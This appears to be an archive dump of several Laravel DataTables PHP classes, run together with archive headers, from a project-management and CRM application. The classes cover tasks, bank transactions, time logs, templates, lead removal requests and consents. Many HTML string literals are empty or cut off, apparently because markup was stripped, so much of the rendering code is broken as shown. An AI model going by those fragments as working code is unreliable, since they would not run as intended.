$request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } else { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } $model->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->selectRaw( 'tasks.id, tasks.approval_send, tasks.estimate_hours, tasks.estimate_minutes, tasks.completed_on, tasks.task_short_code, tasks.start_date, tasks.added_by, projects.need_approval_by_admin, projects.project_name, projects.project_admin, tasks.heading, tasks.repeat, client.name as clientName, creator_user.name as created_by, creator_user.image as created_image, tasks.board_column_id, tasks.due_date, taskboard_columns.column_name as board_column, taskboard_columns.slug, taskboard_columns.label_color, tasks.project_id, tasks.is_private ,( select count("id") from pinned where pinned.task_id = tasks.id and pinned.user_id = ' . user()->id . ') as pinned_task' ) ->addSelect('tasks.company_id') // Company_id is fetched so the we have fetch company relation with it) ->with('users', 'activeTimerAll', 'boardColumn', 'activeTimer', 'timeLogged', 'timeLogged.breaks', 'userActiveTimer', 'userActiveTimer.activeBreak', 'labels', 'taskUsers') ->withCount('activeTimerAll', 'completedSubtasks', 'subtasks') ->groupBy('tasks.id'); if ($request->pinned == 'pinned') { $model->join('pinned', 'pinned.task_id', 'tasks.id'); $model->where('pinned.user_id', user()->id); } if (!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && $projectIds->isEmpty())) { if ($request->pinned == 'private') { $model->where( function ($q2) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) { $q4->where('task_users.user_id', user()->id); $q4->orWhere('tasks.added_by', user()->id); } ); } ); } else { $model->where( function ($q) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) { $q2->where('tasks.is_private', 1); $q2->where( function ($q5) { $q5->where('task_users.user_id', user()->id); $q5->orWhere('tasks.added_by', user()->id); } ); } ); } ); } } if ($request->assignedTo == 'unassigned' && $this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles())) { $model->whereDoesntHave('users'); } if ($startDate !== null && $endDate !== null) { $model->where( function ($q) use ($startDate, $endDate) { if (request()->date_filter_on == 'due_date') { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'start_date') { $q->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'completed_on') { $q->whereBetween(DB::raw('DATE(tasks.`completed_on`)'), [$startDate, $endDate]); } } ); } if ($request->overdue == 'yes' && $request->status != 'all') { $model->where(DB::raw('DATE(tasks.`due_date`)'), '<', now(company()->timezone)->toDateString()); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all' && $request->assignedTo != 'unassigned') { $model->where('task_users.user_id', '=', $request->assignedTo); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned' && $this->projectView == false) { $model->where( function ($q) use ($request) { $q->where('task_users.user_id', '=', user()->id); $q->orWhere('mention_users.user_id', user()->id); if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && $request->assignedTo == 'all') { $q->orWhereDoesntHave('users'); } if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', user()->id); } } ); if ($projectId != 0 && $projectId != null && $projectId != 'all' && !in_array('client', user_roles())) { $model->where( function ($q) { $q->where('projects.project_admin', '<>', user()->id) ->orWhere('mention_users.user_id', user()->id); } ); } } if ($this->viewTaskPermission == 'added' && $this->projectView == false) { $model->where( function ($q) { $q->where('tasks.added_by', '=', user()->id) ->orWhere('mention_users.user_id', user()->id); } ); } if ($this->viewTaskPermission == 'both' && $this->projectView == false) { $model->where( function ($q) use ($request, $projectIds) { $q->where('task_users.user_id', '=', user()->id); $q->orwhereIn('tasks.project_id', $projectIds); $q->orWhere('tasks.added_by', '=', user()->id) ->orWhere('mention_users.user_id', user()->id); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', user()->id); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q->orWhereDoesntHave('users'); } } ); } } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if(!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && $projectIds->isEmpty())){ $model->where('task_users.user_id', '=', user()->id)->where('tasks.board_column_id', '=', $taskBoardColumn->id); }else{ $model->where('tasks.board_column_id', '=', $taskBoardColumn->id); } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $model->where('tasks.task_category_id', '=', $request->category_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->milestone_id != '' && $request->milestone_id != null && $request->milestone_id != 'all') { $model->where('tasks.milestone_id', $request->milestone_id); } if ($request->searchText != '') { $model->where( function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_short_code', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); } ); } if ($request->trashedData == 'true') { $model->whereNotNull('projects.deleted_at'); } else { $model->whereNull('projects.deleted_at'); } if ($request->type == 'public') { $model->where('tasks.is_private', 0); } $model->orderbyRaw('pinned_task desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('allTasks-table') ->parameters( [ 'initComplete' => 'function () { window.LaravelDataTables["allTasks-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#allTasks-table .select-picker").selectpicker(); $(".bs-tooltip-top").removeClass("show"); }', ] ); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $taskSettings = TaskSetting::first(); $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, ], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'task_short_code', 'title' => __('modules.taskCode')] ]; // if (in_array('timelogs', user_modules())) { // $data[__('app.timer') . ' '] = ['data' => 'timer', 'name' => 'timer', 'exportable' => false, 'searchable' => false, 'sortable' => false, 'title' => __('app.timer'), 'class' => 'text-right']; // } $data2 = [ __('app.task') => ['data' => 'heading', 'name' => 'heading', 'exportable' => false, 'title' => __('app.task')], __('app.menu.tasks') . ' ' => ['data' => 'task', 'name' => 'heading', 'visible' => false, 'title' => __('app.menu.tasks')], __('app.project') => ['data' => 'task_project_name', 'visible' => false, 'name' => 'task_project_name', 'title' => __('app.project')], __('modules.tasks.assigned') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.tasks.assigned')], __('app.completedOn') => ['data' => 'completed_on', 'name' => 'completed_on', 'title' => __('app.completedOn')] ]; $data = array_merge($data, $data2); if (in_array('client', user_roles())) { if (in_array('client', user_roles()) && $taskSettings->start_date == 'yes') { $data[__('app.startDate')] = ['data' => 'start_date', 'name' => 'start_date', 'title' => __('app.startDate')]; } if ($taskSettings->due_date == 'yes') { $data[__('app.dueDate')] = ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')]; } if ($taskSettings->time_estimate == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.tasks.estimateTime')] = ['data' => 'estimateTime', 'name' => 'estimateTime', 'title' => __('modules.tasks.estimateTime')]; } if ($taskSettings->hours_logged == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.employees.hoursLogged')] = ['data' => 'timeLogged', 'name' => 'timeLogged', 'title' => __('modules.employees.hoursLogged')]; } if ($taskSettings->assigned_to == 'yes') { $data[__('modules.tasks.assignTo')] = ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')]; } if ($taskSettings->status == 'yes') { $data[__('app.columnStatus')] = ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')]; } } else { $data[__('app.startDate')] = ['data' => 'start_date', 'name' => 'start_date', 'title' => __('app.startDate')]; $data[__('app.dueDate')] = ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')]; if ($taskSettings->time_estimate == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.tasks.estimateTime')] = ['data' => 'estimateTime', 'name' => 'estimateTime', 'title' => __('modules.tasks.estimateTime')]; } if (in_array('timelogs', user_modules())) { $data[__('modules.employees.hoursLogged')] = ['data' => 'timeLogged', 'name' => 'timeLogged', 'title' => __('modules.employees.hoursLogged')]; } $data[__('modules.tasks.assignTo')] = ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')]; $data[__('app.columnStatus')] = ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')]; } $data[__('app.task') . ' ' . __('app.status')] = ['data' => 'status', 'name' => 'board_column_id', 'visible' => false, 'title' => __('app.task')]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Task()), $action); } } DataTables/BankTransactionDataTable.php000064400000016444150325104510014111 0ustar00editBankTransactionPermission = user()->permission('edit_bankaccount'); $this->deleteBankTransactionPermission = user()->permission('delete_bankaccount'); $this->viewBankTransactionPermission = user()->permission('view_bankaccount'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('account_name', function ($row) { return '' . $row->account_name . ''; }) ->editColumn('amount', function ($row) { return currency_format($row->amount, $row->currencyId); }) ->editColumn('transaction_date', function ($row) { if (!is_null($row->transaction_date)) { return $row->transaction_date->translatedFormat($this->company->date_format); } }) ->addColumn('transaction_type', function ($row) { if ($row->type == 'Cr') { return '' . __('modules.bankaccount.credit') . ''; } else { return '' . __('modules.bankaccount.debit') . ''; } }) ->editColumn('bank_balance', function ($row) { return currency_format($row->bank_balance, $row->currencyId); }) ->editColumn('title', function ($row) { if ($row->transaction_relation == 'expense') { $title = __('modules.bankaccount.' . $row->title) . ' ( ' . $row->transaction_related_to . ' )'; } elseif ($row->transaction_relation == 'payment') { $title = __('modules.bankaccount.' . $row->title) . ' ( ' . $row->transaction_relation . '-' . $row->transaction_related_to . ' )'; } else { $title = __('modules.bankaccount.' . $row->title); } return $title; }) ->editColumn('id', function ($row) { return $row->id; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->orderColumn('transaction_date', 'transaction_date $1') ->rawColumns(['action', 'check', 'account_name', 'status', 'transaction_type']); } /** * @param BankTransaction $model * @return BankTransaction|\Illuminate\Database\Eloquent\Builder */ public function query(BankTransaction $model) { $request = $this->request(); $model = BankTransaction::with('bankAccount') ->select('bank_transactions.*', 'bank_accounts.account_name', 'bank_accounts.status', 'currencies.currency_symbol', 'currencies.id as currencyId') ->join('bank_accounts', 'bank_accounts.id', 'bank_transactions.bank_account_id') ->join('currencies', 'currencies.id', 'bank_accounts.currency_id') ->where('bank_transactions.bank_account_id', $request->bankId); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('bank-transaction-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["bank-transaction-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ /*'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ],*/ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], __('modules.bankaccount.accountName') => ['data' => 'account_name', 'name' => 'account_name', 'title' => __('modules.bankaccount.accountName'), 'visible' => false], __('app.amount') => ['data' => 'amount', 'name' => 'amount', 'title' => __('app.amount')], __('modules.tickets.type') => ['data' => 'type', 'name' => 'type', 'title' => __('modules.tickets.type'), 'visible' => false], __('modules.bankaccount.bankTransaction') . ' ' . __('modules.tickets.type') => ['data' => 'transaction_type', 'name' => 'type', 'title' => __('modules.bankaccount.bankTransaction') . ' ' . __('modules.tickets.type'), 'exportable' => false], __('modules.bankaccount.transactionDate') => ['data' => 'transaction_date', 'name' => 'transaction_date', 'title' => __('modules.bankaccount.transactionDate')], __('modules.bankaccount.bankBalance') => ['data' => 'bank_balance', 'name' => 'bank_balance', 'title' => __('modules.bankaccount.bankBalance')], __('app.title') => ['data' => 'title', 'name' => 'title', 'title' => __('app.title')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return $data; } } DataTables/TimeLogConsolidatedReportDataTable.php000064400000031425150325104510016111 0ustar00editTimelogPermission = user()->permission('edit_timelogs'); $this->deleteTimelogPermission = user()->permission('delete_timelogs'); } public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('employee_name', function ($row) { return $row->user->name; }) ->addColumn('total_minutes', function ($row) { return $row->total_minutes; }) ->editColumn('name', function ($row) { return view('components.employee', [ 'user' => $row->user ]); }) ->editColumn('start_time', function ($row) { return $row->start_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->editColumn('end_time', function ($row) { if (!is_null($row->end_time)) { return $row->end_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); } else { return "" . __('app.active') . ''; } }) ->editColumn('total_hours', function ($row) { if (is_null($row->end_time)) { $totalMinutes = (($row->activeBreak) ? $row->activeBreak->start_time->diffInMinutes($row->start_time) : now()->diffInMinutes($row->start_time)) - $row->breaks->sum('total_minutes'); }else { $totalMinutes = $row->total_minutes - $row->breaks->sum('total_minutes'); } // Convert total minutes to hours and minutes $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; // Format output based on hours and minutes $formattedTime = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); $timeLog = '' . $formattedTime . ''; if (is_null($row->end_time)) { $timeLog .= ' '; } else { if ($row->approved) { $timeLog .= ' '; } } return $timeLog; }) ->addColumn('break_duration', function ($row) { $breakDuration = $row->breaks->sum('total_minutes'); $breakTime = CarbonInterval::formatHuman($breakDuration); return $breakTime; }) ->editColumn('earnings', function ($row) { if (is_null($row->hourly_rate)) { return '--'; } return currency_format($row->earnings, company()->currency_id); }) ->editColumn('project', function ($row) { $project = ''; if (!is_null($row->project_id)) { $project .= '' . $row->project->project_name . ''; } return $project; }) ->addColumn('client', function ($row) { return $row->project->client->name ?? '--'; }) ->editColumn('task', function ($row) { $task = ''; if (!is_null($row->task_id)) { $task .= '' . $row->task->heading . ''; } return $task; }) ->editColumn('task_project', function ($row) { $name = ''; if (!is_null($row->project_id) && !is_null($row->task_id)) { $name .= '
' . $row->task->heading . '
' . $row->project->project_name . '
'; } else if (!is_null($row->project_id)) { $name .= '' . $row->project->project_name . ''; } else if (!is_null($row->task_id)) { $name .= '' . $row->task->heading . ''; } return $name; }) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->editColumn('short_code', function ($row) { if (is_null($row->task_short_code)) { return ' -- '; } return '' . $row->task_short_code . ''; }) ->rawColumns(['end_time', 'action', 'project', 'task', 'task_project', 'name', 'total_hours', 'total_minutes', 'check', 'short_code']) ->removeColumn('project_id') ->removeColumn('task_id'); } /** * @param ProjectTimeLog $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTimeLog $model) { $request = $this->request(); $projectId = $request->projectId; $employee = $request->employee; $client = $request->client; $taskId = $request->taskId; $approved = $request->approved; $invoice = $request->invoice; $model = $model->with('user', 'project', 'task', 'breaks', 'activeBreak'); $model = $model->join('users', 'users.id', '=', 'project_time_logs.user_id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id'); $model = $model->select('project_time_logs.id', 'project_time_logs.start_time', 'project_time_logs.end_time', 'project_time_logs.total_hours', 'project_time_logs.total_minutes', 'project_time_logs.memo', 'project_time_logs.user_id', 'project_time_logs.project_id', 'project_time_logs.task_id', 'users.name', 'users.image', 'project_time_logs.hourly_rate', 'project_time_logs.earnings', 'project_time_logs.approved', 'tasks.heading', 'projects.project_name', 'projects.client_id', 'designations.name as designation_name', 'tasks.task_short_code'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.`start_time`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(project_time_logs.`end_time`)'), '<=', $endDate); }); } } if (!is_null($employee) && $employee !== 'all') { $model->where('project_time_logs.user_id', $employee); } if (!is_null($client) && $client !== 'all') { $model->where('projects.client_id', $client); } if (!is_null($projectId) && $projectId !== 'all') { $model->where('project_time_logs.project_id', '=', $projectId); } if (!is_null($taskId) && $taskId !== 'all') { $model->where('project_time_logs.task_id', '=', $taskId); } if (!is_null($approved) && $approved !== 'all') { if ($approved == 2) { $model->whereNull('project_time_logs.end_time'); } else { $model->where('project_time_logs.approved', '=', $approved); } } if (!is_null($invoice) && $invoice !== 'all') { if ($invoice == 0) { $model->where('project_time_logs.invoice_id', '=', null); } else if ($invoice == 1) { $model->where('project_time_logs.invoice_id', '!=', null); } } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('project_time_logs.memo', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); }); } $model->whereNull('tasks.deleted_at')->orderBy('project_time_logs.id', 'desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('timelog-consolidated-table', 5) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["timelog-consolidated-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.project') => ['data' => 'project', 'visible' => false, 'title' => __('app.project')], __('app.task') => ['data' => 'task', 'visible' => false, 'title' => __('app.task')], __('modules.timeLogs.date') => ['data' => 'end_time', 'name' => 'end_time', 'title' => __('modules.timeLogs.date')], __('app.name') => ['data' => 'employee_name', 'name' => 'name', 'visible' => false, 'title' => __('app.name')], __('app.totalHoursWorked') => ['data' => 'total_hours', 'name' => 'total_hours', 'title' => __('app.totalHoursWorked')], __('modules.timeLogs.totalMinutes') => ['data' => 'total_minutes', 'visible' => false, 'title' => __('modules.timeLogs.totalMinutes')], __('modules.timeLogs.breakDuration') => ['data' => 'break_duration', 'name' => 'break_duration', 'title' => __('modules.timeLogs.breakDuration')], __('modules.employees.memo') => ['data' => 'memo', 'visible' => false, 'title' => __('modules.employees.memo')], __('app.client') => ['data' => 'client', 'visible' => false, 'title' => __('app.client')], __('app.earnings') => ['data' => 'earnings', 'name' => 'earnings', 'title' => __('app.earnings')] ]; } } DataTables/ProjectTemplateTasksDataTable.php000064400000013642150325104510015135 0ustar00editTaskPermission = user()->permission('edit_tasks'); $this->deleteTaskPermission = user()->permission('delete_tasks'); $this->viewTaskPermission = user()->permission('view_tasks'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->editColumn('heading', function ($row) { $taskLabelList = TaskLabelList::whereNull('project_id')->get(); $taskLabelIds = explode(',', $row->task_labels); $labels = ''; // Use foreach instead of forelse foreach ($taskLabelList->filter(function ($label) use ($taskLabelIds) { return in_array($label->id, $taskLabelIds); }) as $key => $label) { $labels .= '' . $label->label_name . ''; } return '
' . $row->heading . '
' . '

' . $labels . '

'; }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'heading', 'check']); } /** * Get query source of dataTable. * * @param \App\Models\ProjectTemplateTask $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTemplateTask $model) { $request = $this->request(); $projectId = $request->projectId; $model = $model->where('project_template_id', $projectId); if ($request->searchText != '') { $model->where(function ($query) { $query->where('heading', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('allTasks-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["allTasks-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#allTasks-table .select-picker").selectpicker(); }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false], __('app.task') => ['data' => 'heading', 'name' => 'heading', 'title' => __('app.task')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/LeadDataRemovalDataTable.php000064400000011274150325104510014011 0ustar00eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) { $action = ''; $action .= ''; return $action; }) ->addColumn('status', function ($row) use ($status) { if ($row->status == 'pending') { $status = ''; } else if ($row->status == 'approved') { $status = ''; } else if ($row->status == 'rejected') { $status = ''; } return $status; }) ->editColumn( 'created_at', function ($row) { return Carbon::parse($row->created_at)->translatedFormat($this->company->date_format); } ) ->rawColumns(['status', 'action', 'status']); } /** * @param RemovalRequestLead $model * @return \Illuminate\Database\Query\Builder */ public function query(RemovalRequestLead $model) { return $model->select(['id', 'name', 'created_at', 'status', 'description']); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('removal-request-lead') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["removal-request-lead"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.name') => ['data' => 'name', 'name' => 'name', 'title' => __('app.name')], __('app.description') => ['data' => 'description', 'name' => 'description', 'title' => __('app.description')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(200) ->addClass('text-right pr-20') ]; } } DataTables/BaseDataTable.php000064400000003236150325104510011675 0ustar00company = company(); $this->user = user(); $this->domHtml = "<'row'<'col-sm-12'tr>><'d-flex'<'flex-grow-1'l>

>"; } public function setBuilder($table, $orderBy = 1) { $intl = File::exists(public_path('i18n/' . user()->locale . '.json')) ? asset('i18n/' . user()->locale . '.json') : __('app.datatable'); return parent::builder() ->setTableId($table) ->columns($this->getColumns()) /** @phpstan-ignore-line */ ->minifiedAjax() ->orderBy($orderBy) ->destroy(true) ->responsive() ->serverSide() ->stateSave(true) ->pageLength(companyOrGlobalSetting()->datatable_row_limit ?? 10) ->processing() ->dom($this->domHtml) ->language($intl); } protected function filename(): string { // Remove DataTable from name $filename = str()->snake(class_basename($this), '-'); return str_replace('data-table', '', $filename) . now()->format('Y-m-d-H-i-s'); } public function checkBox($row, $hideCheckbox = false): string { if ($hideCheckbox) { return ''; } return ''; } } DataTables/ConsentDataTable.php000064400000007564150325104510012444 0ustar00eloquent($query) ->addIndexColumn() ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '

'; $action .= ''; return $action; }) ->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)) ->rawColumns(['status', 'action', 'check']); } /** * @param PurposeConsent $model * @return \Illuminate\Database\Query\Builder */ public function query(PurposeConsent $model) { return $model->select('id', 'name', 'description', 'created_at'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('consent-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["consent-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.name') => ['data' => 'name', 'name' => 'name', 'title' => __('app.name')], __('app.description') => ['data' => 'description', 'name' => 'description', 'title' => __('app.description')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(210) ->addClass('text-right') ]; } } DataTables/TasksDataTable.php000064400000123531150325104510012111 0ustar00editTaskPermission = user()->permission('edit_tasks'); $this->deleteTaskPermission = user()->permission('delete_tasks'); $this->viewTaskPermission = user()->permission('view_tasks'); $this->changeStatusPermission = user()->permission('change_status'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); $this->hasTimelogModule = (in_array('timelogs', user_modules())); $this->viewProjectTaskPermission = user()->permission('view_project_tasks'); $this->projectView = $projectView; $this->tabUrl = ($this->projectView == true) ? '?tab=project' : ''; $this->editMilestonePermission = user()->permission('edit_project_milestones'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); $clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); $taskBoardColumns = TaskboardColumn::orderBy('priority')->get(); $projectId = request()->projectId; $incompleteMilestones = collect(); $completedMilestones = collect(); if ($projectId != null && $projectId != 'all' && $projectId != 0) { $project = Project::findOrFail($projectId); $incompleteMilestones = $project->milestones()->where('status', 'incomplete')->get(); $completedMilestones = $project->milestones()->where('status', 'complete')->get(); } $datatables = datatables()->eloquent($query); $datatables->addColumn('check', fn($row) => $this->checkBox($row, (bool)$row->activeTimer)); $datatables->addColumn( 'action', function ($row) { $userRoles = user_roles(); $isAdmin = in_array('admin', $userRoles); $isEmployee = in_array('employee', $userRoles); $action = '
'; return $action; }); $datatables->editColumn('start_date', fn($row) => Common::dateColor($row->start_date, false)); $datatables->editColumn('due_date', fn($row) => Common::dateColor($row->due_date)); $datatables->editColumn('completed_on', fn($row) => Common::dateColor($row->completed_on)); $datatables->editColumn('users', function ($row) { if (count($row->users) == 0) { return '--'; } $key = ''; $members = '
'; foreach ($row->users as $key => $member) { if ($key < 4) { $img = ''; $position = $key > 0 ? 'position-absolute' : ''; $members .= ' '; } } if (count($row->users) > 4 && $key) { $members .= ' '; } $members .= '
